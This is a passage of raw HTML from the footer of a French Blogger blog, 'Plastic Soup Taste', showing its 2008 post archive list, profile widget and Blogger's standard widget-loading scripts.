href='http://plasticsouptaste.blogspot.com/2008/09/lamz.html'>Lamz</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/09/comme-promis.html'>Comme promis...</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/09/niouz.html'>Niouz</a></li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='http://plasticsouptaste.blogspot.com/2008/08/'> août </a> <span class='post-count' dir='ltr'>(11)</span> <ul class='posts'> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/du-son-encore-et-encore.html'>Du son, encore et encore...</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/blog-post.html'>:/</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/une-semaine-peine.html'>Une semaine à peine...</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/space-mais-bon.html'>Space mais bon....</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/ca-pue-la-sale-journe.html'>Ca pue la sale journée...</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/soyons-des-fous.html'>Soyons des fous!!!</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/surf-session-du-mardi-riz-dans-les.html'>Surf Session du Mardi, riz dans les raviolis...</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/haha-saloperie-de-tomcat.html'>Haha! Saloperie de Tomcat...</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/un-peu-de-srieux.html'>Un peu de SéRiEuX?</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/semaine-1-jour-1-dja-plus-de-vivres.html'>Semaine 1, Jour 1 : Déja plus de vivres...</a></li> <li><a href='http://plasticsouptaste.blogspot.com/2008/08/ouverturage-dun-blog-0o.html'>Ouverturage d'un blog 0o</a></li> </ul> </li> </ul> </li> </ul> </div> </div> <div class='clear'></div> <span class='widget-item-control'> <span class='item-control blog-admin'> <a class='quickedit' href='//www.blogger.com/rearrange?blogID=1278381685061151760&widgetType=BlogArchive&widgetId=BlogArchive1&action=editWidget§ionId=footer-2-2' onclick='return _WidgetManager._PopupConfig(document.getElementById("BlogArchive1"));' target='configBlogArchive1' title='Modifier'> <img alt='' height='18' src='https://resources.blogblog.com/img/icon18_wrench_allbkg.png' width='18'/> </a> </span> </span> <div class='clear'></div> </div> </div></div> </td> <td class='columns-cell'> <div class='foot section' id='footer-2-3'><div class='widget Profile' data-version='1' id='Profile1'> <h2>Qui êtes-vous ?</h2> <div class='widget-content'> <a href='https://www.blogger.com/profile/02076869472563704465'><img alt='Ma photo' class='profile-img' height='80' src='//2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s80/9ebd6c9e0fbb7d82defb512382a224e3.png' width='80'/></a> <dl class='profile-datablock'> <dt class='profile-data'> <a class='profile-name-link g-profile' href='https://www.blogger.com/profile/02076869472563704465' rel='author' style='background-image: url(//www.blogger.com/img/logo-16.png);'> </a> </dt> </dl> <a class='profile-link' href='https://www.blogger.com/profile/02076869472563704465' rel='author'>Afficher mon profil complet</a> <div class='clear'></div> <span class='widget-item-control'> <span class='item-control blog-admin'> <a class='quickedit' href='//www.blogger.com/rearrange?blogID=1278381685061151760&widgetType=Profile&widgetId=Profile1&action=editWidget§ionId=footer-2-3' onclick='return _WidgetManager._PopupConfig(document.getElementById("Profile1"));' target='configProfile1' title='Modifier'> <img alt='' height='18' src='https://resources.blogblog.com/img/icon18_wrench_allbkg.png' width='18'/> </a> </span> </span> <div class='clear'></div> </div> </div></div> </td> </tr> </tbody> </table> <!-- outside of the include in order to lock Attribution widget --> <div class='foot section' id='footer-3' name='Pied de page'><div class='widget Attribution' data-version='1' id='Attribution1'> <div class='widget-content' style='text-align: center;'> Thème Awesome Inc.. Images de thèmes de <a href='http://www.istockphoto.com/googleimages.php?id=9505737&platform=blogger&langregion=fr' target='_blank'>Ollustrator</a>. Fourni par <a href='https://www.blogger.com' target='_blank'>Blogger</a>. </div> <div class='clear'></div> <span class='widget-item-control'> <span class='item-control blog-admin'> <a class='quickedit' href='//www.blogger.com/rearrange?blogID=1278381685061151760&widgetType=Attribution&widgetId=Attribution1&action=editWidget§ionId=footer-3' onclick='return _WidgetManager._PopupConfig(document.getElementById("Attribution1"));' target='configAttribution1' title='Modifier'> <img alt='' height='18' src='https://resources.blogblog.com/img/icon18_wrench_allbkg.png' width='18'/> </a> </span> </span> <div class='clear'></div> </div></div> </div> </div> <div class='footer-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </footer> <!-- content --> </div> </div> <div class='content-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </div> <script type='text/javascript'> window.setTimeout(function() { document.body.className = document.body.className.replace('loading', ''); }, 10); </script> <script src='https://apis.google.com/js/plusone.js' type='text/javascript'></script> <script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/1859629982-widgets.js"></script> <script type='text/javascript'> window['__wavt'] = 'AOuZoY6vj5cWNQw3R1r9eJfM8aHvF9SnpA:1537701696178';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d1278381685061151760','//plasticsouptaste.blogspot.com/2008/','1278381685061151760'); _WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '1278381685061151760', 'title': 'Plastic Soup Taste', 'url': 'http://plasticsouptaste.blogspot.com/2008/', 'canonicalUrl': 'http://plasticsouptaste.blogspot.com/2008/', 'homepageUrl': 'http://plasticsouptaste.blogspot.com/', 'searchUrl': 'http://plasticsouptaste.blogspot.com/search', 'canonicalHomepageUrl': 'http://plasticsouptaste.blogspot.com/', 'blogspotFaviconUrl': 'http://plasticsouptaste.blogspot.com/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': false, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': '', 'encoding': 'UTF-8', 'locale': 'fr', 'localeUnderscoreDelimited': 'fr', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Plastic Soup Taste - Atom\x22 href\x3d\x22http://plasticsouptaste.blogspot.com/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22Plastic Soup Taste - RSS\x22 href\x3d\x22http://plasticsouptaste.blogspot.com/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Plastic Soup Taste - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/1278381685061151760/posts/default\x22 /\x3e\n', 'meTag': '', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': false, 'ieCssRetrofitLinks': '\x3c!--[if IE]\x3e\x3cscript type\x3d\x22text/javascript\x22 src\x3d\x22https://www.blogger.com/static/v1/jsbin/3762807459-ieretrofit.js\x22\x3e\x3c/script\x3e\n\x3c![endif]--\x3e', 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/eda6d9c242053a1d', 'plusOneApiSrc': 'https://apis.google.com/js/plusone.js', 'sharing': {'platforms': [{'name': 'Obtenir le lien', 'key': 'link', 'shareMessage': 'Obtenir le lien', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Partager sur Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'Twitter', 'key': 'twitter', 'shareMessage': 'Partager sur Twitter', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Partager sur Pinterest', 'target': 'pinterest'}, {'name': 'Google+', 'key': 'googlePlus', 'shareMessage': 'Partager sur Google+', 'target': 'googleplus'}, {'name': 'E-mail', 'key': 'email', 'shareMessage': 'E-mail', 'target': 'email'}], 'googlePlusShareButtonWidth': 300, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27fr\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Lire la suite', 'pageType': 'archive', 'pageName': '2008', 'pageTitle': 'Plastic Soup Taste: 2008'}}, {'name': 'features', 'data': {'cmt_anon_warn': 'false', 'sharing_get_link_dialog': 'true', 'sharing_native': 'false'}}, {'name': 'messages', 'data': {'edit': 'Modifier', 'linkCopiedToClipboard': 'Lien copié dans le presse-papiers !', 'ok': 'OK', 'postLink': 'Publier le lien'}}, {'name': 'template', 'data': {'name': 'Awesome Inc.', 'localizedName': 'Awesome Inc.', 'isResponsive': false, 'isAlternateRendering': false, 'isCustom': false, 'variant': 'dark', 'variantId': 'dark'}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'Plastic Soup Taste', 'description': 'Les mamans des autres blogs sont mortes de peur...', 'url': 'http://plasticsouptaste.blogspot.com/2008/', 'type': 'feed', 'isSingleItem': false, 'isMultipleItems': true, 'isError': false, 'isPage': false, 'isPost': false, 'isHomepage': false, 'isArchive': true, 'isLabelSearch': false, 'archive': {'year': 2008, 'rangeMessage': 'Affichage des articles du 2008'}}}]); _WidgetManager._RegisterWidget('_NavbarView', new _WidgetInfo('Navbar1', 'navbar', null, document.getElementById('Navbar1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'header', null, document.getElementById('Header1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'main', null, document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'useNgc': false, 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/2233605044-lbx__fr.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/368954415-lightbox_bundle.css'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_LinkListView', new _WidgetInfo('LinkList1', 'footer-2-1', null, document.getElementById('LinkList1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogArchiveView', new _WidgetInfo('BlogArchive1', 'footer-2-2', null, document.getElementById('BlogArchive1'), {'languageDirection': 'ltr', 'loadingMessage': 'Chargement\x26hellip;'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_ProfileView', new _WidgetInfo('Profile1', 'footer-2-3', null, document.getElementById('Profile1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_AttributionView', new _WidgetInfo('Attribution1', 'footer-3', null, document.getElementById('Attribution1'), {}, 'displayModeFull')); </script> </body> </html>